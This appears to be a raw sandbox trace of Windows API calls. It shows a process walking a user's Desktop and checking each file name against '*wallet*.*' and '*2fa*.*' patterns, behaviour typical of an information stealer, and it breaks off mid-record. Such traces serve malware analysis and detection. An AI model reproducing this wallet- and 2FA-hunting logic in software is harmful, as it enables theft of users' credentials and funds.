[0099.606] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c80 | out: hHeap=0x2110000) returned 1 [0099.606] PathMatchSpecW (pszFile="Unrrn7hms.png", pszSpec="*wallet*.*") returned 0 [0099.606] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc7a12c0, ftCreationTime.dwHighDateTime=0x1d7af93, ftLastAccessTime.dwLowDateTime=0x6d11cbe0, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x6d11cbe0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x18c54, dwReserved0=0x0, dwReserved1=0x0, cFileName="V9oJDYviCbk0.jpg", cAlternateFileName="V9OJDY~1.JPG")) returned 1 [0099.606] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.606] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.606] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="V9oJDYviCbk0.jpg" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\V9oJDYviCbk0.jpg") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\V9oJDYviCbk0.jpg" [0099.606] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.606] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.606] lstrcatW (in: lpString1="\\", lpString2="V9oJDYviCbk0.jpg" | out: lpString1="\\V9oJDYviCbk0.jpg") returned="\\V9oJDYviCbk0.jpg" [0099.606] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\V9oJDYviCbk0.jpg", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0099.606] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\V9oJDYviCbk0.jpg", cchWideChar=48, lpMultiByteStr=0x34300d0, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\V9oJDYviCbk0.jpg", lpUsedDefaultChar=0x0) returned 48 [0099.606] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.607] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.607] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430ec0 [0099.607] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430ec0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.607] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34303a8 [0099.607] PathMatchSpecW (pszFile="V9oJDYviCbk0.jpg", pszSpec="*wallet*.*") returned 0 [0099.607] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c6db240, ftCreationTime.dwHighDateTime=0x1d7a31a, ftLastAccessTime.dwLowDateTime=0x777c4940, ftLastAccessTime.dwHighDateTime=0x1d7a428, ftLastWriteTime.dwLowDateTime=0x777c4940, ftLastWriteTime.dwHighDateTime=0x1d7a428, nFileSizeHigh=0x0, nFileSizeLow=0x121cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="w1JAUmkNtF5.odp", cAlternateFileName="W1JAUM~1.ODP")) returned 1 [0099.607] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.607] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.607] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="w1JAUmkNtF5.odp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\w1JAUmkNtF5.odp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\w1JAUmkNtF5.odp" [0099.607] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.607] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.607] lstrcatW (in: lpString1="\\", lpString2="w1JAUmkNtF5.odp" | out: lpString1="\\w1JAUmkNtF5.odp") returned="\\w1JAUmkNtF5.odp" [0099.607] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\w1JAUmkNtF5.odp", cchWideChar=47, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0099.607] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2f) returned 0x34300d0 [0099.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\w1JAUmkNtF5.odp", cchWideChar=47, lpMultiByteStr=0x34300d0, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\w1JAUmkNtF5.odp", lpUsedDefaultChar=0x0) returned 47 [0099.607] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.607] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.607] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430dc0 [0099.607] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430dc0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.607] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430588 [0099.607] PathMatchSpecW (pszFile="w1JAUmkNtF5.odp", pszSpec="*wallet*.*") returned 0 [0099.607] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33063f70, ftCreationTime.dwHighDateTime=0x1d7a516, ftLastAccessTime.dwLowDateTime=0xf1bf05d0, ftLastAccessTime.dwHighDateTime=0x1d7acf2, ftLastWriteTime.dwLowDateTime=0xf1bf05d0, ftLastWriteTime.dwHighDateTime=0x1d7acf2, nFileSizeHigh=0x0, nFileSizeLow=0x7647, dwReserved0=0x0, dwReserved1=0x0, cFileName="WiMEj.doc", cAlternateFileName="")) returned 1 [0099.608] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.608] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.608] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="WiMEj.doc" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\WiMEj.doc") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\WiMEj.doc" [0099.608] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.608] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.608] lstrcatW (in: lpString1="\\", lpString2="WiMEj.doc" | out: lpString1="\\WiMEj.doc") returned="\\WiMEj.doc" [0099.608] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\WiMEj.doc", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0099.608] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x29) returned 0x34300d0 [0099.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\WiMEj.doc", cchWideChar=41, lpMultiByteStr=0x34300d0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\WiMEj.doc", lpUsedDefaultChar=0x0) returned 41 [0099.608] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.608] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430c40 [0099.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430c40, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.608] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430628 [0099.608] PathMatchSpecW (pszFile="WiMEj.doc", pszSpec="*wallet*.*") returned 0 [0099.608] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x764c2580, ftCreationTime.dwHighDateTime=0x1d7a93d, ftLastAccessTime.dwLowDateTime=0x24c3460, ftLastAccessTime.dwHighDateTime=0x1d7aada, ftLastWriteTime.dwLowDateTime=0x24c3460, ftLastWriteTime.dwHighDateTime=0x1d7aada, nFileSizeHigh=0x0, nFileSizeLow=0x2c91, dwReserved0=0x0, dwReserved1=0x0, cFileName="z0fYM8SfWqHwA 3.xls", cAlternateFileName="Z0FYM8~1.XLS")) returned 1 [0099.608] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.608] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.608] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="z0fYM8SfWqHwA 3.xls" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\z0fYM8SfWqHwA 3.xls") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\z0fYM8SfWqHwA 3.xls" [0099.608] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.608] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.609] lstrcatW (in: lpString1="\\", lpString2="z0fYM8SfWqHwA 3.xls" | out: lpString1="\\z0fYM8SfWqHwA 3.xls") returned="\\z0fYM8SfWqHwA 3.xls" [0099.609] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104a0 [0099.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\z0fYM8SfWqHwA 3.xls", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0099.609] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x33) returned 0x33aaa20 [0099.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\z0fYM8SfWqHwA 3.xls", cchWideChar=51, lpMultiByteStr=0x33aaa20, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\z0fYM8SfWqHwA 3.xls", lpUsedDefaultChar=0x0) returned 51 [0099.609] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112ed0 [0099.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.609] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430e20 [0099.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430e20, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.609] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430588 [0099.609] PathMatchSpecW (pszFile="z0fYM8SfWqHwA 3.xls", pszSpec="*wallet*.*") returned 0 [0099.609] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd527b80, ftCreationTime.dwHighDateTime=0x1d7a623, ftLastAccessTime.dwLowDateTime=0x61bc5430, ftLastAccessTime.dwHighDateTime=0x1d7a755, ftLastWriteTime.dwLowDateTime=0x61bc5430, ftLastWriteTime.dwHighDateTime=0x1d7a755, nFileSizeHigh=0x0, nFileSizeLow=0xc942, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zl8tQFh7Qv.mkv", cAlternateFileName="ZL8TQF~1.MKV")) returned 1 [0099.609] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.609] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.609] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="Zl8tQFh7Qv.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Zl8tQFh7Qv.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Zl8tQFh7Qv.mkv" [0099.609] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.609] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.609] lstrcatW (in: lpString1="\\", lpString2="Zl8tQFh7Qv.mkv" | out: lpString1="\\Zl8tQFh7Qv.mkv") returned="\\Zl8tQFh7Qv.mkv" [0099.609] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Zl8tQFh7Qv.mkv", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0099.609] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2e) returned 0x34300d0 [0099.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Zl8tQFh7Qv.mkv", cchWideChar=46, lpMultiByteStr=0x34300d0, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Zl8tQFh7Qv.mkv", lpUsedDefaultChar=0x0) returned 46 [0099.609] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.609] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430ec0 [0099.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430ec0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.610] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430600 [0099.610] PathMatchSpecW (pszFile="Zl8tQFh7Qv.mkv", pszSpec="*wallet*.*") returned 0 [0099.610] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd527b80, ftCreationTime.dwHighDateTime=0x1d7a623, ftLastAccessTime.dwLowDateTime=0x61bc5430, ftLastAccessTime.dwHighDateTime=0x1d7a755, ftLastWriteTime.dwLowDateTime=0x61bc5430, ftLastWriteTime.dwHighDateTime=0x1d7a755, nFileSizeHigh=0x0, nFileSizeLow=0xc942, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zl8tQFh7Qv.mkv", cAlternateFileName="ZL8TQF~1.MKV")) returned 0 [0099.610] FindClose (in: hFindFile=0x6d1cd8 | out: hFindFile=0x6d1cd8) returned 1 [0099.610] GetLastError () returned 0x12 [0099.610] SetLastError (dwErrCode=0x12) [0099.610] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0099.610] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x34304c0, cbMultiByte=31, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 31 [0099.610] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3e) returned 0x2112ae0 [0099.610] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x34304c0, cbMultiByte=31, lpWideCharStr=0x2112ae0, cchWideChar=31 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned 31 [0099.610] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112858 [0099.610] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112ae0 | out: hHeap=0x2110000) returned 1 [0099.610] lstrcpyW (in: lpString1=0x19d32c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.610] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*" [0099.610] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*", lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x13b96e47, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x13b96e47, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1cd8 [0099.610] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.610] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.610] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\." [0099.610] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.611] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.611] lstrcatW (in: lpString1="\\", lpString2="." | out: lpString1="\\.") returned="\\." [0099.611] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0099.611] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x13b96e47, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x13b96e47, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.611] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.611] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.611] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\.." [0099.611] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.611] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.611] lstrcatW (in: lpString1="\\", lpString2=".." | out: lpString1="\\..") returned="\\.." [0099.611] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0099.611] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0099.611] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x697a7bf0, ftCreationTime.dwHighDateTime=0x1d7a38d, ftLastAccessTime.dwLowDateTime=0x7c7bd330, ftLastAccessTime.dwHighDateTime=0x1d7ac06, ftLastWriteTime.dwLowDateTime=0x7c7bd330, ftLastWriteTime.dwHighDateTime=0x1d7ac06, nFileSizeHigh=0x0, nFileSizeLow=0x4b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="-yRZeNS0HWz.m4a", cAlternateFileName="-YRZEN~1.M4A")) returned 1 [0099.611] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.611] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.611] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="-yRZeNS0HWz.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a" [0099.611] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.611] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.611] lstrcatW (in: lpString1="\\", lpString2="-yRZeNS0HWz.m4a" | out: lpString1="\\-yRZeNS0HWz.m4a") returned="\\-yRZeNS0HWz.m4a" [0099.611] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a", cchWideChar=47, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0099.611] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2f) returned 0x34300d0 [0099.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a", cchWideChar=47, lpMultiByteStr=0x34300d0, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a", lpUsedDefaultChar=0x0) returned 47 [0099.611] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.611] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.612] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.612] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2113138 [0099.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x2113138, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.612] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113138 | out: hHeap=0x2110000) returned 1 [0099.612] PathMatchSpecW (pszFile="-yRZeNS0HWz.m4a", pszSpec="*2fa*.*") returned 0 [0099.612] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.612] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb56bee60, 